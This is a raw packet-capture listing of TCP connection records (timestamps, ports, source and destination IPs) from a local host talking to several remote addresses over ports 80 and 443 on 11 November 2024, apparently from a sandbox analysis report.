Nov 11, 2024 12:40:29.145431995 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.146815062 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.154678106 CET	49886	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.154711008 CET	443	49886	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.155431032 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.155450106 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.160222054 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.160240889 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.160321951 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.160329103 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.160372972 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.160891056 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.160943985 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.160948038 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.160957098 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.162956953 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.170599937 CET	49882	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.170604944 CET	443	49882	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.185084105 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.200687885 CET	49901	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.200726986 CET	443	49901	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.200930119 CET	49901	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.201211929 CET	49902	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.201240063 CET	443	49902	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.201457977 CET	49902	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.201745033 CET	49903	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.201754093 CET	443	49903	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.201925039 CET	49904	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.201936960 CET	443	49904	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.202004910 CET	49903	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.202104092 CET	49904	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.202253103 CET	49905	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.202264071 CET	443	49905	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.202321053 CET	49905	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.202600002 CET	49905	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.202610970 CET	443	49905	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.202826023 CET	49904	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.202847958 CET	443	49904	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.203145981 CET	49903	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.203155994 CET	443	49903	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.203296900 CET	49902	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.203320980 CET	443	49902	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.203392982 CET	49901	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.203402042 CET	443	49901	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.203991890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204018116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204037905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204049110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204061031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204063892 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204071999 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204090118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204102993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204112053 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204113960 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204127073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204127073 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204138994 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204150915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204168081 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204168081 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204180002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204188108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204191923 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204206944 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204214096 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204226017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204236984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204246998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204257965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204269886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204274893 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204288006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204293013 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204314947 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204325914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204341888 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204344988 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204359055 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204359055 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204400063 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204427004 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204440117 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204457998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204469919 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204479933 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204482079 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204493046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204500914 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204507113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204519987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204525948 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204551935 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204576015 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204576969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204591036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204602003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204618931 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204634905 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204663038 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204674006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204683065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204696894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204710007 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204731941 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204756975 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204852104 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204863071 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204874039 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204888105 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204898119 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204899073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204905033 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204921007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204935074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204941988 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204946995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204961061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204969883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.204984903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.204999924 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205009937 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205010891 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205024004 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205039024 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205060005 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205156088 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205168962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205178976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205183983 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205192089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205203056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205214977 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205219984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205231905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205241919 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205254078 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205256939 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205265999 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205279112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205286026 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205288887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205296040 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205308914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205327034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205332041 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205338001 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205351114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205360889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205368042 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205374002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205374002 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205384970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205408096 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205413103 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205425978 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205435991 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205449104 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205452919 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205460072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205475092 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205478907 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205499887 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205522060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205543041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205554962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205590963 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205655098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205746889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205758095 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205775976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205777884 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205787897 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205801010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205816984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205821037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205833912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205846071 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205854893 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205887079 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205924034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205935001 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205950022 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205967903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205979109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.205990076 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.205991030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206008911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206021070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206023932 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206033945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206047058 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206051111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206053019 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206063986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206074953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206078053 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206085920 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206098080 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206101894 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206109047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206121922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206130981 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206132889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206149101 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206151962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206161976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206171036 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206175089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206187010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206197977 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206202984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206209898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206219912 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206222057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206234932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206245899 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206254959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206258059 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206268072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206279039 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206288099 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206290007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206301928 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206309080 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206315041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206326008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.206341028 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.206353903 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.212451935 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.212471962 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.212481022 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.212515116 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.212528944 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.212536097 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.212548018 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.212567091 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.212585926 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.212614059 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.213289976 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.213310003 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.213319063 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.213345051 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.213356018 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.213361979 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.213371992 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.213386059 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.213413000 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.213494062 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.213993073 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.214036942 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.214056969 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.214081049 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.214390039 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.214399099 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.214426041 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.214433908 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.214451075 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.214457989 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.214473963 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.214488983 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.214497089 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.214519978 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.218565941 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.218578100 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.235886097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.235902071 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.235922098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.235949039 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.235950947 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.235960960 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.235971928 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.235975027 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.235985041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.235996962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236011982 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236035109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236035109 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236047029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236059904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236069918 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236104965 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236535072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236557007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236568928 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236582994 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236617088 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236624956 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236629009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236640930 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236653090 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236653090 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236679077 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236680984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236696005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236705065 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236706972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236718893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236731052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236733913 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236747980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236758947 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236769915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236773968 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236773968 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236809015 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236829996 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236841917 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236851931 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236862898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236874104 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236877918 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236886024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236897945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236898899 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236910105 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236912966 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236924887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236941099 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236970901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.236972094 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.236989975 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237000942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237011909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237021923 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.237025023 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237036943 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237044096 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.237049103 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237060070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237071991 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.237071991 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237083912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237092972 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.237095118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237107992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237119913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237131119 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237138987 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.237138987 CET	49827	80	192.168.2.6	185.215.113.206
